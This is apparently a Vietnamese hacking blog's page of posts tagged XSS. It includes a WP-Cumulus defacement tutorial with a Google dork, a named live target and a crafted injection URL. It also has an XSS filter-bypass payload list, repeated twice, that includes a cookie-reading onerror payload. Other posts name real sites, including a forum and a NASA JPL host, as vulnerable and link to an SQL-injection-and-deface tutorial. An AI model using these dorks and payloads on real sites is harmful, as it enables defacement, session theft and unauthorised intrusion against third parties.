Hiển thị các bài đăng có nhãn XSS. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn XSS. Hiển thị tất cả bài đăng

Thứ Năm, 18 tháng 4, 2013

Xss wordpress in WP-Cumulus

Xin chào,mình là KunGa,lâu rồi không cập nhật blog nên viết 1 tut về xss ở plugin WP-Cumulus
dork:inurl:wp-content/plugins/wp-cumulus/tagcloud.swf
ví dụ mình tìm ra 1 site như sau:
http://e4god.com/wordpress/wp-content/plugins/wp-cumulus/tagcloud.swf
mình thay vào đoạn này:
tagcloud.swf?mode=tags&tagcloud=<tags><a+href%3D'https%3A%2F%2Fwww.facebook.com%2Findonesian.go.id'+style%3D'font-size%3A+40pt'>Hacked+By+KunGa<%2Fa><%2Ftags>
 sẽ có link như sau:
http://e4god.com/wordpress/wp-content/plugins/wp-cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href%3D%27https%3A%2F%2Fkunga96.blogspot.com%2Findex%27+style%3D%27font-size%3A+40pt%27%3EHacked+By+KunGa%3C%2Fa%3E%3C%2Ftags%3E
 là kết quả là:
http://e4god.com/wordpress/wp-content/plugins/wp-cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href%3D%27https%3A%2F%2Fkunga96.blogspot.com%2Findex%27+style%3D%27font-size%3A+40pt%27%3EHacked+By+KunGa%3C%2Fa%3E%3C%2Ftags%3E
các bạn tự kiểm nha nhé

Thứ Bảy, 10 tháng 11, 2012

[ Cảnh Báo ] netcafe.24h.com.vn

Chưa liên hệ Admin :
Link : http://netcafe.24h.com.vn/forum/
Checked :
 













Method :
+ SQL Injection
+ XSS
+ Brute Force 

Chủ Nhật, 4 tháng 11, 2012

Bypass XSS filters


Sau buổi tranning H'sM của bạn Mạnh Luật về XSS chúng ta đã thấy được sự nguy hiểm cũng như mức độ phổ biến của XSS -> có nhiều cách để ngăn chặn XSS -> kẻ tấn công cũng sẽ nghĩ ra nhiều kiểu tấn công mới để vượt qua các "bộ lọc".

Đa số các "bộ lọc" sẽ sử dụng cách cơ bản nhất là chặn các thẻ <script></script>.

Chúng ta sẽ cùng xem một số VD sau:

+Sử dụng các thuộc tính của các thẻ html:

<body onload=alert('test1')>

<b onmouseover=alert('Wufff!')>click me!</b>

<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

+Sử dụng thuộc tính SRC:
<IMG SRC=javascript:alert('XSS')>
<BGSOUND SRC="javascript:alert('XSS');">
Encode nội dung (UTF-8)
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

+Sử dụng URI đã được encode base64

<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

Chú ý: một số code có thể không chạy được trên một số trình duyệt.
Đây chỉ là một ít trong số rất nhiều cách thực thi các đoạn mã javascript
Các bạn có thể tham khảo thêm tại:
http://ha.ckers.org/xss.html

Thân ái,
Việt Nguyễn 

Thứ Hai, 29 tháng 10, 2012

vBulletin 2.0.x/2.2.x members2.php Cross Site Scripting Vulnerability

source: http://www.securityfocus.com/bid/6246/info
Due to insufficient sanitization of user supplied values, it is possible to exploit a vulnerability in VBulletin. By passing an invalid value to a variable located in 'members2.php', it is possible to generate an error page which will include attacker-supplied HTML code which will be executed in a legitimate users browser.

Đọc thêm »

vBulletin 2.0/2.2.x Memberlist.PHP Cross Site Scripting Vulnerability

source: http://www.securityfocus.com/bid/6226/info
vBulletin does not filter HTML tags from URI parameters, making it prone to cross-site scripting attacks.
As a result, it is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user, in the context of the website running vBulletin.

Đọc thêm »

vBulletin 2.0/2.2.x Cross Site Scripting Vulnerabilities

Source: http://www.securityfocus.com/bid/5997/info
vBulletin does not filter HTML tags from URI parameters, making it prone to cross-site scripting attacks.

Đọc thêm »

Thứ Bảy, 27 tháng 10, 2012

Bypass XSS filters

Đa số các "bộ lọc" sẽ sử dụng cách cơ bản nhất là chặn các thẻ <script></script>.

Chúng ta sẽ cùng xem một số VD sau:

+Sử dụng các thuộc tính của các thẻ html:

<body onload=alert('test1')>
<b onmouseover=alert('Wufff!')>click me!</b>
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

+Sử dụng thuộc tính SRC:
<IMG SRC=javascript:alert('XSS')>
<BGSOUND SRC="javascript:alert('XSS');">
Encode nội dung (UTF-8)
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

+Sử dụng URI đã được encode base64
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

Chú ý: một số code có thể không chạy được trên một số trình duyệt.
Đây chỉ là một ít trong số rất nhiều cách thực thi các đoạn mã javascript
Các bạn có thể tham khảo thêm tại: http://ha.ckers.org/xss.html

NASA Jet Propulsion Laboratory Vulnerable to Cross Site Scripting (XSS)

Another XSS vuln on NASA : I just want to proof that NASA is and never will be secured as human kind thinks they are.

XSS Link:
http://onearth.jpl.nasa.gov/landsat.cgi?action=........38&zoom=0.100008

Thứ Sáu, 26 tháng 10, 2012

[TUT] SQLi - Login AdminCP - Deface with XSS

* Tutorial khai thác "ChangUonDyU - Advanced Statistics SQL injection", truy vấn lấy hash để bypass AdminCP, Deface sử dụng XSS.

* Download: http://www.mediafire.com/?1jk4j6wan1v7lie

* Password: (Only Juno_okyo's Blog Members).